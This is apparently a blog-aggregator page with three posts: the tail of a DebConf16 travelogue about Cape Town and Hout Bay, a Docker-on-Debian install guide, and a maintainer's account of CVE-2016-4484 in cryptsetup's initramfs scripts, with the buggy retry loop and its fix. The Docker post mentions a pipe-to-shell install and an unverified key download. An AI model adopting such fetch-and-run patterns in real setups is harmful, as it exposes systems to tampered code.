bus. By bar I mean a machine which can serve anything from juices to alcoholic drinks depending upon what is stocked. What was also interesting in the same bus is that the bus also had a middle entrance-and-exit. The middle door in springbok atlas This is something I hadn t seen in most Indian buses. Some of the Volvo buses have but it is rarely used (only except emergencies) . An exhaustive showcase of local buses can be seen here . I find the hand-drawn/cad depictions of all the buses by Amit Pense near to the T. Axe which can be used to break windows Emergency exit window This is also something which I have not observed in Indian inter-city buses (axe to break the window in case of accident and breakable glass which doesn t hurt anyone I presume), whether they are State-Transport or the high-end Volvo s . Either it s part of South African Roads Regulations or something that Springbok buses do for their customers. All of these queries about the different facets I wanted to ask the bus-driver and the attendant/controller but in the excitement of seeing, recording new things couldn t ask In fact one of the more interesting things I looked at and could look day and night is the variety of vehicles on display in Cape Town. In hindsight, I should have bought a couple of 128 GB MMC cards for my mobile rather than the 64 GB one. It was just plain inadequate to capture all that was new and interesting. Auditorum chair truck seen near Auditorium This truck I had seen about some 100 metres near the Auditorium on Upper Campus. The truck s design, paint was something I had never seen before. It is/was similar to casket trucks seen in movies but the way it was painted and everything made it special. What was interesting is to see the gamut of different vehicles. For instance, there were no bicycles that I saw in most places. There were mostly Japanese/Italian bikes and all sorts of trucks. If I had known before, I would definitely have bought an SD specifically to take snaps of all the different types of trucks, cars etc. that I saw therein. The adage/phrase I should stop in any one place and the whole world will pass me by seemed true on quite a few South African Roads. While the roads were on par or a shade better than India, many of those were wide roads. Seeing those, I was left imagining how the Autobahn in Germany and other high-speed Expressways would look n feel. India has also been doing that with the Pune-Mumbai Expressway and projects like Yamuna Expressway and now the extension Agra Lucknow Expressway but doing this all over India would take probably a decade or more. We have been doing it since a decade and a half. NHDP and PMGSY are two projects which are still ongoing to better the roads. We have been having issues as to should we have toll or no toll issues but that is a discussion for some other time. One of the more interesting sights I saw was the high-arched gothic-styled church from outside. This is near Longstreet as well. high arch gothic-styled church I have seen something similar in Goa, Pondicherry but not such high-arches. I did try couple of times to gain entry but one time it was closed, the other time some repairing/construction work was going on or something. I would loved to see it from inside and hopefully they would have had an organ (music) as well. I could imagine to some extent the sort of music that would have come out. Now that Goa has come in the conversation I can t help but state that Seafood enthusiasts/lover/aficionado, or/and Pescatarianism would have a ball of a time in Goa. Goa is on the Konkan coast and while I m eggie, ones who enjoy seafood really have a ball of a time in Goa. Fouthama s Festival which happens in February is particularly attractive as Goan homes are thrown open for people to come and sample their food, exchange recipes and alike. This happens around 2 weeks before the Goan Carnival and is very much a part of the mish-mashed Konkani-Bengali-Parsi-Portugese culture. I better stop here about the Goa otherwise I ll get into reminiscing mode. To put the story and event back on track from where we left of (no fiction hereon), Nicholas was in constant communication with base, i.e. UCT as well as another group who was hiking from UCT to Table Mountain. We waited for the other group to join us till 13:00 hrs. We came to know that they were lost and were trying to come up and hence would take more time. As Bernelle was with them, who was a local and she had two dogs who knew the hills quite well, it was decided to go ahead without them. We came down the same cable-car and then ventured on towards Houtbay. Houtbay has it all, a fisherman s wharf, actual boats with tough-mean looking men with tattoos working on boats puffing cigars/pipes, gaggle of sea-gulls, the whole scene. Sharing a few pictures of the way in-between. the view en-route to Houtbay western style car paint and repair shop Tajmahal Indian Restaurant, Houtbay I just now had a quick look at the restaurant and it seems they had options for veggies too. Unfortunately, the rating leaves a bit to be desired but then dunno as Indian flavoring is something that takes time to get used too. Zomato doesn t give any idea of from when a restaurant is in business and has too few reviews so not easy to know how the experience would have been. Chinese noodles and small houses Notice the pattern, the pattern of small houses I saw all the way till Houtbay and back. I do vaguely remember starting a discussion about it on the bus but don t really remember. I have seen (on TV) cities like Miami, Dubai or/and Hong Kong who have big buildings on the beach but both in Konkan as well as Houtbay there were small buildings. I guess a combination of zoning regulations, feel of community, fear of being flooded all play into beaches being the way they are. Also, this probably is good as less stress on the environment. Miamiboyz from Wikimedia Commons The above picture is taken from Wikipedia from the article Miami Beach, Florida for comparison. Audi rare car to be seen in India The Audi rare car to be seen in India. This car has been associated with Ravi Shastri when he won it in 1985. I was young but still get goosebumps remembering those days. first-glance-Houtbay-and-pier First glance of Houtbay beach and pier. Notice how clean and white the beach is. Wharf-Grill-Restaurant-from-side-and-Hop-on-Hop-off-bus You can see the wharf grill restaurant in the distance (side-view), see the back of the hop on and hop off bus (a concept which was unknown to me till then). Once I came back and explored on the web came to know this concept is prevalent in many a touristy places around the world. Umm also By sheer happenchance also captured a beautiful looking Indian female . So many things happening all at once In Hindi, we would call this picture virodabhas or contradiction . this is in afternoon, around 1430 hrs. You have the sun, the clouds, the Mountains, the x number of boats, the pier, the houses, the cars, the shops. It was all crazy and beautiful at the same time. The Biggest Contradiction is seeing the Mountain, the beach and the Sea in the same Picture. Baffled the mind. Konkan though is a bit similar there as well. You have all the three things in some places but that s a different experience altogether as ours is a more tropical weather although is one of the most romantic places in the rains. We were supposed to go on a short cruise to seal/dolphin island but as we were late (as had been waiting for the other group) didn t go and instead just loitered there. Fake-real lookout bar-restaurant IIRC the lookout bar is situated just next to Houtbay Search and Rescue. Although was curious if the Lookout tower was used in case of disappearance. lost people, boats etc. Seal in action Seal jumping over water, what a miracle ! One of the boats on which we possibly could have been on. It looked like the boat we could have been on. I clicked as I especially liked the name Calypso and Calypso . I shared the two links as the mythologies, interpretation differ a bit between Greek and Hollywood culture Debian folks and the area around Can see few Debian folks in the foreground, next to the Pole and the area around. Also can see a bit of the area around. Alone boy trying to surf I don t know anything about water sports and after sometime he came out. I was left wondering though, how safe he was in that water. While he was close to the pier and he was just paddling, there weren t big waves still felt a bit of concern. Mr. Seal - the actor and his handler While the act was not to the level we see in the movies, still for the time I hung around, I saw him showing attitude for his younger audiences, eating out of their hands, making funny sounds. Btw he farted a few times, whether that was a put-on or not can t really say but produced a few guffaws from his audience. A family feeding Mr. Seal I dunno why the birds came down for. Mr. Seal was being fed oily small fish parts, dunno if the oil was secreted by the fish themselves or whatever, it just looked oily from distance. Bird-Man-Bird Bird taking necessary sun bath typical equipment on a boat to catch fish-lot of nets boats-nets-and-ropes People working on disentangling a net There wasn t much activity on the time we went. It probably would have been different on sunrise and would be on sunset. The only activity I saw was on this boat where they were busy fixing and disentangling the lines. I came up with 5-15 different ideas for a story but rejected them as a. Probably all of them have been tried. People have been fishing since the beginning of time and modern fishing probably 200 odd years or so. I have read accounts of fishing companies in early 1800s onwards, so probably all must have been tried. b. More dangerous one, if there is a unique idea, then it becomes more dangerous as writing is an all-consuming process. Writing a blog post (bad or good) takes lots of time. I constantly read, re-read, try and improvise till I can or my patience loses out. In book you simply can t have such luxuries. hout-bay-search-and-rescue-no-parking-zone No parking/tow zone in/near the Houtbay search and rescue. Probably to take out emergency vehicles once something untoward happens. hout-bay-sea-rescue-with-stats Saved 54 lives, boats towed 154 Salut! Houtbay sea rescue. The different springbok atlas bus that we were on kraal-kraft The only small criticism is for Houtbay there wasn t a single public toilet. We had to ask favor at kraal kraft to use their toilets and there could have been accidents, it wasn t lighted well and water was spilled around. Road sign telling that we are near to UCT For us, because we were late we missed both the boat-cruise as well as some street shops selling trinkets. Other than that it was all well. We should have stayed till sunset, I am sure the view would have been breath-taking but we hadn t booked the bus till evening. Back at UCT Overall it was an interesting day as we had explored part of Table Mountain, seen the somewhat outrageously priced trinkets there as well as explored Houtbay sea-side as well.
Filed under: Miscellenous Tagged: #Audi, #Cape Town, #Cruises, #Debconf16, #French Council, #Geography, #Houtbay Sea Rescue, #Jail, #Middle East, #Springbok Atlas, #Vehicles

Tianon Gravi: My Docker Install Process

I ve had several requests recently for information about how I personally set up a new machine for running Docker (especially since I don t use the infamous curl get.docker.com sh), so I figured I d outline the steps I usually take. For the purposes of simplicity, I m going to assume Debian (specifically stretch, the upcoming Debian stable release), but these should generally be easily adjustable to jessie or Ubuntu. These steps should be fairly similar to what s found in upstream s Install Docker on Debian document, but do differ slightly in a few minor ways.

grab Docker s APT repo GPG key The way I do this is probably a bit unconventional, but the basic gist is something like this:
export GNUPGHOME="$(mktemp -d)"
gpg --keyserver ha.pool.sks-keyservers.net --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
gpg --export --armor 58118E89F3A912897C070ADBF76221572C52609D   sudo tee /etc/apt/trusted.gpg.d/docker.gpg.asc
rm -rf "$GNUPGHOME"
(On jessie or another release whose APT doesn t support .asc files in /etc/apt/trusted.gpg.d, I d drop --armor and the .asc and go with simply /.../docker.gpg.) This creates me a new GnuPG directory to work with (so my personal ~/.gnupg doesn t get cluttered with this new key), downloads Docker s signing key from the keyserver gossip network (verifying the fetched key via the full fingerprint I ve provided), exports the key into APT s keystore, then cleans up the leftovers. For completeness, other popular ways to fetch this include:
sudo apt-key adv --keyserver ha.pool.sks-keyservers.net --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
(worth noting that man apt-key discourages the use of apt-key adv)
wget -qO- 'https://apt.dockerproject.org/gpg'   sudo apt-key add -
(no verification of the downloaded key) Here s the relevant output of apt-key list on a machine where I ve got this key added in the way I outlined above:
$ apt-key list
...
/etc/apt/trusted.gpg.d/docker.gpg.asc
-------------------------------------
pub   rsa4096 2015-07-14 [SCEA]
      5811 8E89 F3A9 1289 7C07  0ADB F762 2157 2C52 609D
uid           [ unknown] Docker Release Tool (releasedocker) <docker@docker.com>
...

add Docker s APT source If you prefer to fetch sources via HTTPS, install apt-transport-https, but I m personally fine with simply doing GPG verification of fetched packages, so I forgo that in favor of less packages installed. YMMV.
echo 'deb http://apt.dockerproject.org/repo debian-stretch main'   sudo tee /etc/apt/sources.list.d/docker.list
Hopefully it s obvious, but debian-stretch in that line should be replaced by debian-jessie, ubuntu-xenial, etc. as desired. It s also worth pointing out that this will not include Docker s release candidates. If you want those as well, add testing after main, ie ... debian-stretch main testing' .... At this point, you should be safe to run apt-get update to verify the changes:
$ sudo apt-get update
...
Hit:1 http://apt.dockerproject.org/repo debian-stretch InRelease
...
Reading package lists... Done
(There shouldn t be any warnings or errors about missing keys, etc.)

configure Docker This step could be done after Docker s installed (and indeed, that s usually when I do it because I forget that I should until I ve got Docker installed and realize that my configuration is suboptimal), but doing it before ensures that Docker doesn t have to be restarted later.
sudo mkdir -p /etc/docker
sudo sensible-editor /etc/docker/daemon.json
(sensible-editor can be replaced by whatever editor you prefer, but that command should choose or prompt for a reasonable default) I then fill daemon.json with at least a default storage-driver. Whether I use aufs or overlay2 depends on my kernel version and available modules if I m on Ubuntu, AUFS is still a no-brainer (since it s included in the default kernel if the linux-image-extra-XXX/linux-image-extra-virtual package is installed), but on Debian AUFS is only available in either 3.x kernels (jessie s default non-backports kernel) or recently in the aufs-dkms package (as of this writing, still only available on stretch and sid no jessie-backports option). If my kernel is 4.x+, I m likely going to choose overlay2 (or if that errors out, the older overlay driver). Choosing an appropriate storage driver is a fairly complex topic, and I d recommend that for serious production deployments, more research on pros and cons is performed than I m including here (especially since AUFS and OverlayFS are not the only options they re just the two I personally use most often).
 
	"storage-driver": "overlay2"
 

configure boot parameters I usually set a few boot parameters as well (in /etc/default/grub s GRUB_CMDLINE_LINUX_DEFAULT option run sudo update-grub after adding these, space-separated).
  • cgroup_enable=memory enable memory accounting for containers (allows docker run --memory for setting hard memory limits on containers)
  • swapaccount=1 enable swap accounting for containers (allows docker run --memory-swap for setting hard swap memory limits on containers)
  • systemd.legacy_systemd_cgroup_controller=yes newer versions of systemd may disable the legacy cgroup interfaces Docker currently uses; this instructs systemd to keep those enabled (for more details, see systemd/systemd#4628, opencontainers/runc#1175, docker/docker#28109)
  • vsyscall=emulate allow older binaries to run (debian:wheezy, etc.; see docker/docker#28705)
All together:
...
GRUB_CMDLINE_LINUX_DEFAULT="cgroup_enable=memory swapaccount=1 systemd.legacy_systemd_cgroup_controller=yes vsyscall=emulate"
...

install Docker! Finally, the time has come.
$ sudo apt-get install -V docker-engine
...
$ sudo docker version
Client:
 Version:      1.12.3
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   6b644ec
 Built:        Wed Oct 26 21:45:16 2016
 OS/Arch:      linux/amd64
Server:
 Version:      1.12.3
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   6b644ec
 Built:        Wed Oct 26 21:45:16 2016
 OS/Arch:      linux/amd64
$ sudo usermod -aG docker "$(id -un)"
(Reboot or logout/login to update your session to include docker group membership and thus no longer require sudo for using docker commands.) Hope this is useful to someone! If nothing else, it ll serve as a concise single-page reference for future-tianon.

Jonas Meurer: On CVE-2016-4484, a (securiy)? bug in the cryptsetup initramfs integration

On CVE-2016-4484, a (security)? bug in the cryptsetup initramfs integration On November 4, I was made aware of a security vulnerability in the integration of cryptsetup into initramfs. The vulnerability was discovered by security researchers Hector Marco and Ismael Ripoll of CyberSecurity UPV Research Group and got CVE-2016-4484 assigned. In this post I'll try to reflect a bit on

What CVE-2016-4484 is all about Basically, the vulnerability is about two separate but related issues:

1. Initramfs rescue shell considered harmful The main topic that Hector Marco and Ismael Ripoll address in their publication is that Debian exits into a rescue shell in case of failure during initramfs, and that this can be triggered by entering a wrong password ~93 times in a row. Indeed the Debian initramfs implementation as provided by initramfs-tools exits into a rescue shell (usually a busybox shell) after a defined amount of failed attempts to make the root filesystem available. The loop in question is in local_device_setup() at the local initramfs script In general, this behaviour is considered as a feature: if the root device hasn't shown up after 30 rounds, the rescue shell is spawned to provide the local user/admin a way to debug and fix things herself. Hector Marco and Ismael Ripoll argue that in special environments, e.g. on public computers with password protected BIOS/UEFI and bootloader, this opens an attack vector and needs to be regarded as a security vulnerability:
It is common to assume that once the attacker has physical access to the computer, the game is over. The attackers can do whatever they want. And although this was true 30 years ago, today it is not. There are many "levels" of physical access. [...] In order to protect the computer in these scenarios: the BIOS/UEFI has one or two passwords to protect the booting or the configuration menu; the GRUB also has the possibility to use multiple passwords to protect unauthorized operations. And in the case of an encrypted system, the initrd shall block the maximum number of password trials and prevent the access to the computer in that case.
While Hector and Ismael have a valid point in that the rescue shell might open an additional attack vector in special setups, this is not true for the vast majority of Debian systems out there: in most cases a local attacker can alter the boot order, replace or add boot devices, modify boot options in the (GNU GRUB) bootloader menu or modify/replace arbitrary hardware parts. The required scenario to make the initramfs rescue shell an additional attack vector is indeed very special: locked down hardware, password protected BIOS and bootloader but still local keyboard (or serial console) access are required at least. Hector and Ismael argue that the default should be changed for enhanced security:
[...] But then Linux is used in more hostile environments, this helpful (but naive) recovery services shall not be the default option.
For the reasons explained about, I tend to disagree to Hectors and Ismaels opinion here. And after discussing this topic with several people I find my opinion reconfirmed: the Debian Security Team disputes the security impact of the issue and others agree. But leaving the disputable opinion on a sane default aside, I don't think that the cryptsetup package is the right place to change the default, if at all. If you want added security by a locked down initramfs (i.e. no rescue shell spawned), then at least the bootloader (GNU GRUB) needs to be locked down by default as well. To make it clear: if one wants to lock down the boot process, bootloader and initramfs should be locked down together. And the right place to do this would be the configurable behaviour of grub-mkconfig. Here, one can set a password for GRUB and the boot parameter 'panic=1' which disables the spawning of a rescue shell in initramfs. But as mentioned, I don't agree that this would be sane defaults. The vast majority of Debian systems out there don't have any security added by locked down bootloader and initramfs and the benefit of a rescue shell for debugging purposes clearly outrivals the minor security impact in my opinion. For the few setups which require the added security of a locked down bootloader and initramfs, we already have the relevant options documented in the Securing Debian Manual: After discussing the topic with initramfs-tools maintainers today, Guilhem and me (the cryptsetup maintainers) finally decided to not change any defaults and just add a 'sleep 60' after the maximum allowed attempts were reached. 2. tries=n option ignored, local brute-force slightly cheaper Apart from the issue of a rescue shell being spawned, Hector and Ismael also discovered a programming bug in the cryptsetup initramfs integration. This bug in the cryptroot initramfs local-top script allowed endless retries of passphrase input, ignoring the tries=n option of crypttab (and the default of 3). As a result, theoretically unlimited attempts to unlock encrypted disks were possible when processed during initramfs stage. The attack vector here was that local brute-force attacks are a bit cheaper. Instead of having to reboot after max tries were reached, one could go on trying passwords. Even though efficient brute-force attacks are mitigated by the PBKDF2 implementation in cryptsetup, this clearly is a real bug. The reason for the bug was twofold:
  • First, the condition in setup_mapping() responsible for making the function fail when the maximum amount of allowed attempts is reached, was never met:
    setup_mapping()
     
      [...]
      # Try to get a satisfactory password $crypttries times
      count=0                              
    while [ $crypttries -le 0 ] [ $count -lt $crypttries ]; do export CRYPTTAB_TRIED="$count" count=$(( $count + 1 )) [...] done if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then message "cryptsetup: maximum number of tries exceeded for $crypttarget" return 1 fi [...]
    As one can see, the while loop stops when $count -lt $crypttries. Thus the second condition $count -gt $crypttries is never met. This can easily be fixed by decreasing $count by one in case of a successful unlock attempt along with changing the second condition to $count -ge $crypttries:
    setup_mapping()
     
      [...]
      while [ $crypttries -le 0 ]   [ $count -lt $crypttries ]; do
          [...]
          # decrease $count by 1, apparently last try was successful.
          count=$(( $count - 1 ))
          [...]
      done
      if [ $crypttries -gt 0 ] && [ $count -ge $crypttries ]; then
          [...]
      fi
      [...]
     
    
    Christian Lamparter already spotted this bug back in October 2011 and provided a (incomplete) patch, but back then I even managed to merge the patch in an improper way, making it even more useless: The patch by Christian forgot to decrease $count by one in case of a successful unlock attempt, resulting in warnings about maximum tries exceeded even for successful attemps in some circumstances. But instead of adding the decrease myself and keeping the (almost correct) condition $count -eq $crypttries for detection of exceeded maximum tries, I changed back the condition to the wrong original $count -gt $crypttries that again was never met. Apparently I didn't test the fix properly back then. I definitely should do better in future!
  • Second, back in December 2013, I added a cryptroot initramfs local-block script as suggested by Goswin von Brederlow in order to fix bug #678692. The purpose of the cryptroot initramfs local-block script is to invoke the cryptroot initramfs local-top script again and again in a loop. This is required to support complex block device stacks. In fact, the numberless options of stacked block devices are one of the biggest and most inglorious reasons that the cryptsetup initramfs integration scripts became so complex over the years. After all we need to support setups like rootfs on top of LVM with two separate encrypted PVs or rootfs on top of LVM on top of dm-crypt on top of MD raid. The problem with the local-block script is that exiting the setup_mapping() function merely triggers a new invocation of the very same function. The guys who discovered the bug suggested a simple and good solution to this bug: When maximum attempts are detected (by second condition from above), the script sleeps for 60 seconds. This mitigates the brute-force attack options for local attackers - even rebooting after max attempts should be faster.

About disclosure, wording and clickbaiting I'm happy that Hector and Ismael brought up the topic and made their argument about the security impacts of an initramfs rescue shell, even though I have to admit that I was rather astonished about the fact that they got a CVE assigned. Nevertheless I'm very happy that they informed the Security Teams of Debian and Ubuntu prior to publishing their findings, which put me in the loop in turn. Also Hector and Ismael were open and responsive when it came to discussing their proposed fixes. But unfortunately the way they advertised their finding was not very helpful. They announced a speech about this topic at the DeepSec 2016 in Vienna with the headline Abusing LUKS to Hack the System. Honestly, this headline is missleading - if not wrong - in several ways:
  • First, the whole issue is not about LUKS, neither is it about cryptsetup itself. It's about Debians integration of cryptsetup into the initramfs, which is a compeletely different story.
  • Second, the term hack the system suggests that an exploit to break into the system is revealed. This is not true. The device encryption is not endangered at all.
  • Third - as shown above - very special prerequisites need to be met in order to make the mere existance of a LUKS encrypted device the relevant fact to be able to spawn a rescue shell during initramfs.
Unfortunately, the way this issue was published lead to even worse articles in the tech news press. Topics like Major security hole found in Cryptsetup script for LUKS disk encryption or Linux Flaw allows Root Shell During Boot-Up for LUKS Disk-Encrypted Systems suggest that a major security vulnerabilty was revealed and that it compromised the protection that cryptsetup respective LUKS offer. If these articles/news did anything at all, then it was causing damage to the cryptsetup project, which is not affected by the whole issue at all. After the cat was out of the bag, Marco and Ismael aggreed that the way the news picked up the issue was suboptimal, but I cannot fight the feeling that the over-exaggeration was partly intended and that clickbaiting is taking place here. That's a bit sad.

Next.

Previous.